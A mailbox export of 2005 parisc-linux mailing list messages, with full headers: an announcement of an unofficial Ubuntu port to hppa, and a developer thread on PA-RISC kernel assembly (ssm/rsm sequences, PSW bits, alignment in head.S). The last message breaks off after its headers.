http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ubuntu hppa status
Date: Mon, 25 Apr 2005 00:35:35 +0200
Organization: ESIEE
Lines: 36
Approved: news@gmane.org
Message-ID: <20050425003535.7d4496a6@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623763 14060 80.91.229.3 (22 Nov 2014 02:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:03 +0000 (UTC)
Cc: LaMont Jones <lamont.jones@ubuntu.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2005 22:36:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 25 Apr 2005 00:36:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92D877D667;
	Sun, 24 Apr 2005 16:35:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05440-04; Sun, 24 Apr 2005 16:35:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1DFB7D668;
	Sun, 24 Apr 2005 16:35:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C6B27D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 16:35:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05205-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 16:35:51 -0600 (MDT)
Original-Received: from postfix4-1.free.fr (postfix4-1.free.fr [213.228.0.62])
	by free.linux.hp.com (Postfix) with ESMTP id 7E1C77D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 16:35:51 -0600 (MDT)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix4-1.free.fr (Postfix) with ESMTP id 6113D3177B6;
	Mon, 25 Apr 2005 00:35:48 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 1282E33E17; Mon, 25 Apr 2005 00:35:46 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id E9AE533C8D;
	Mon, 25 Apr 2005 00:35:39 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1DPphQ-0007tq-00; Mon, 25 Apr 2005 00:35:36 +0200
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on Tatooine.r3z0
X-Spam-Status: No, score=-52.8 required=5.0 tests=ALL_TRUSTED,LOCAL_RCVD 
	autolearn=failed version=3.0.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M3oeYkcweSE57L6WZHQhaXN2IGRvb4Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22647

Hi pa-ckers

A quick "sounder" notice to let those of you who don't already know, that
LaMont Jones and myself are working in our spare time on porting Ubuntu
Linux (www.ubuntulinux.org) to hppa.

There's an unofficial website at http://ubuntu-hppa.pateam.org/ with some
data on the progress of that port.

Currently we have finished to (partially) build Hoary (almost all of
main, and most of universe, all in all we're approx 95% up-to-date), and
it's available for download. There are some installation instructions as
well since we don't have yet an installer, of course, these instructions
are reserved to "developers", knowledgeable people willing to
test/help/debug;)

We are now moving forward to get Breezy in shape, that implies in
particular fixing the installer, as well as a few other things (such as
bootstraping gcc-4.0, since Breezy will be built against gcc-4.0), and
fixing firefox (dies during post-install).

We should sort out an updated TODO list pretty soon (the one on the
website needs some refreshing :), so stay tuned.

Anyway, I just wanted to let you know that something was underway, and
that we might need some help in the near future ;)

Greetings

T-Bone
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Tue, 26 Apr 2005 19:36:43 +0200
Lines: 136
Approved: news@gmane.org
Message-ID: <4252B02B000092E3@mail-1-bnl.tiscali.it>
References: <200504251623.j3PGNq6m011656@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623764 14063 80.91.229.3 (22 Nov 2014 02:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2005 17:37:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 26 Apr 2005 19:37:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5243A7D664;
	Tue, 26 Apr 2005 11:36:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17591-09; Tue, 26 Apr 2005 11:36:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A2BA7D65E;
	Tue, 26 Apr 2005 11:36:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D3677D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 11:36:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17501-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 11:36:53 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 28B5B7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 11:36:53 -0600 (MDT)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DQTzI-0001Q0-3z; Tue, 26 Apr 2005 19:36:46 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 26 Apr 2005 19:36:43 +0200
In-Reply-To: <200504251623.j3PGNq6m011656@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HhkcYphUeSE57L6WZHQhaXN2IGRvbwCX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22648

Hello Dave,

> 
> >         nop             /* 8 */
> > -#endif
> 
> The arch document (page F-4) says that you only need 7 instructions
> between ssm and rsm.
> 
Yes for the following bacth (this time with 64bits included on b2k only n=
ot
yet for d380 sorry next step)

That said it works also (32 bit up and smp, 64bit up)
the same if I replace .align 256 by 128 no pb
(btw I disasemble the resulting kernel text and this code seems to be onl=
y
called once and very early)

btw I don't more understand why the following ifdef (in the same head.S):=

#ifdef __LP64__ /* move to psw.h? */   
#define         PSW_BITS        PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
#else
#define         PSW_BITS        PSW_SM_Q
#endif

Oth I still have thousand of detailed questions but started to the main o=
ne:
your concern in a previous mail;
if I well understand it's located in 2 places in pacache.S and one would
be in:
[snip]
        .align  128

        .export disable_sr_hashing_asm,code

disable_sr_hashing_asm:
        .proc
        .callinfo NO_CALLS
        .entry

        /* Switch to real mode */

        ssm             0, %r0                  /* relied upon translatio=
n!
*/
        nop
        nop
        nop
        nop
        nop
        nop
        nop

        rsm             (PSW_SM_Q|PSW_SM_I), %r0 /* disable Q&I to load t=
he
iia queue */
        ldil            L%REAL_MODE_PSW, %r1
        ldo             R%REAL_MODE_PSW(%r1), %r1
        mtctl           %r1, %cr22
        mtctl           %r0, %cr17              /* Clear IIASQ tail */
        mtctl           %r0, %cr17              /* Clear IIASQ head */
        ldil            L%PA(1f), %r1
        ldo             R%PA(1f)(%r1), %r1
        mtctl           %r1, %cr18              /* IIAOQ head */
        rfi
        nop

1:      cmpib,=3D,n       SRHASH_PCXST, %r26,srdis_pcxs
        cmpib,=3D,n       SRHASH_PCXL, %r26,srdis_pcxl
        cmpib,=3D,n       SRHASH_PA20, %r26,srdis_pa20
        b,n             srdis_done
[snip]
srdis_done:

        /* Switch back to virtual mode */

        rsm             PSW_SM_Q, %r0           /* clear Q bit to load ii=
a
queue */
        ldil            L%KERNEL_PSW, %r1
        ldo             R%KERNEL_PSW(%r1), %r1
        mtctl           %r1, %cr22
        mtctl           %r0, %cr17              /* Clear IIASQ tail */
        mtctl           %r0, %cr17              /* Clear IIASQ head */
        ldil            L%(2f), %r1
        ldo             R%(2f)(%r1), %r1
        mtctl           %r1, %cr18              /* IIAOQ head */
        ldo             4(%r1), %r1
        mtctl           %r1, %cr18              /* IIAOQ tail */
        rfi
        nop

2:      bv              %r0(%r2)
        nop
        .exit
[snip]

Always if I well understand this last srdis_done would looks like:
srdis_done:


        /* Switch back to virtual mode */

        ssm             0, %r0                  /* relied upon translatio=
n!
*/
        nop
        nop
        nop
        nop
        nop
        nop
        nop

        rsm             PSW_SM_Q, %r0           /* clear Q bit to load ii=
a
queue */
        ldil            L%KERNEL_PSW, %r1
        ldo             R%KERNEL_PSW(%r1), %r1
        mtctl           %r1, %cr22
        mtctl           %r0, %cr17              /* Clear IIASQ tail */
        mtctl           %r0, %cr17              /* Clear IIASQ head */
[snip]

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Tue, 26 Apr 2005 15:08:42 -0400 (EDT)
Lines: 73
Approved: news@gmane.org
Message-ID: <200504261908.j3QJ8gA5027898@hiauly1.hia.nrc.ca>
References: <4252B02B000092E3@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623764 14065 80.91.229.3 (22 Nov 2014 02:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2005 19:09:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 26 Apr 2005 21:09:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C65D7D660;
	Tue, 26 Apr 2005 13:08:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18554-05; Tue, 26 Apr 2005 13:08:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59D167D664;
	Tue, 26 Apr 2005 13:08:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFCC57D660
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:08:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18554-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:08:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 257F87D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:08:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3QJ8ghF027902; Tue, 26 Apr 2005 15:08:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3QJ8gA5027898;
	Tue, 26 Apr 2005 15:08:42 -0400 (EDT)
In-Reply-To: <4252B02B000092E3@mail-1-bnl.tiscali.it> from "Joel Soete" at Apr
	26, 2005 07:36:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hPQcYvkCeSE57L6WZHQhaXN2IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22649

> btw I don't more understand why the following ifdef (in the same head.S):
> #ifdef __LP64__ /* move to psw.h? */   
> #define         PSW_BITS        PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
> #else
> #define         PSW_BITS        PSW_SM_Q
> #endif

I also don't understand the difference between the 32 and 64 bit cases.
There's probably a reason to turn off I, D, P and R in these sequences.
For example, a flush instruction cache instruction with the D bit set
affects the relied upon translation.  So, the question would be why the
bits are not turned off in the 32-bit case.  It may be because the PDCs
differ in their handling of these bits.  I'm pretty sure that the 64-bit
define would work in the 32-bit case.  The bits are only off through to
the rfi which then sets new bits.

The bits for the 64-bit case probably should be written using the "PSW_SM"
defines.  There's no difference for the Q, I, D, P and R bits but the SM
defines are for the "sm" instructions.

>         b,n             srdis_done
> [snip]

I believe that you should align srdis_done as follows:

	.align 128

You would then need to add a branch and nop to get there.

> srdis_done:
> 
> 
>         /* Switch back to virtual mode */
> 
>         ssm             0, %r0                  /* relied upon translation!
> */
>         nop
>         nop
>         nop
>         nop
>         nop
>         nop
>         nop
> 
>         rsm             PSW_SM_Q, %r0           /* clear Q bit to load iia
> queue */
>         ldil            L%KERNEL_PSW, %r1
>         ldo             R%KERNEL_PSW(%r1), %r1
>         mtctl           %r1, %cr22
>         mtctl           %r0, %cr17              /* Clear IIASQ tail */
>         mtctl           %r0, %cr17              /* Clear IIASQ head */
> [snip]
> 
> Thanks in advance,
>     Joel
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Tue, 26 Apr 2005 15:43:29 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20050426194329.GA19796@roadwarrior.mcmartin.ca>
References: <200504251623.j3PGNq6m011656@hiauly1.hia.nrc.ca>
	<4252B02B000092E3@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623764 14068 80.91.229.3 (22 Nov 2014 02:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2005 19:45:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 26 Apr 2005 21:45:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0AAD7D664;
	Tue, 26 Apr 2005 13:45:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18942-01; Tue, 26 Apr 2005 13:45:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFA267D635;
	Tue, 26 Apr 2005 13:45:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED1D37D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:45:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18554-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:45:29 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 722097D424
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 13:45:29 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C7F3F17050;
	Tue, 26 Apr 2005 15:45:25 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10774-10; Tue, 26 Apr 2005 15:45:14 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id BB4A81707B; Tue, 26 Apr 2005 15:45:14 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1970817658-52656d6f746546617454697265-494e424f582e4f7574626f78: 1114544648-0385607769983-v4.0.8
Content-Disposition: inline
In-Reply-To: <4252B02B000092E3@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O/8cYjIbeSE57L6WZHQhaXN2IGRvb4Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22650

On Tue, Apr 26, 2005 at 07:36:43PM +0200, Joel Soete wrote:
> (btw I disasemble the resulting kernel text and this code seems to be only
> called once and very early)
> 

This is the kernel entry point from the bootloader. It sets things up then 
jumps to init/main.c:start_kernel().

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ssm/rsm sequences
Date: Tue, 26 Apr 2005 23:20:55 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20050427052055.GJ2612@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623764 14070 80.91.229.3 (22 Nov 2014 02:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@levanta.com
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 05:18:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 27 Apr 2005 07:18:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6957F7D67A;
	Tue, 26 Apr 2005 23:18:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19864-06; Tue, 26 Apr 2005 23:18:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB75A7D67B;
	Tue, 26 Apr 2005 23:18:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0702B7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 23:18:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19864-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 23:18:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 84DF57D674
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Apr 2005 23:18:25 -0600 (MDT)
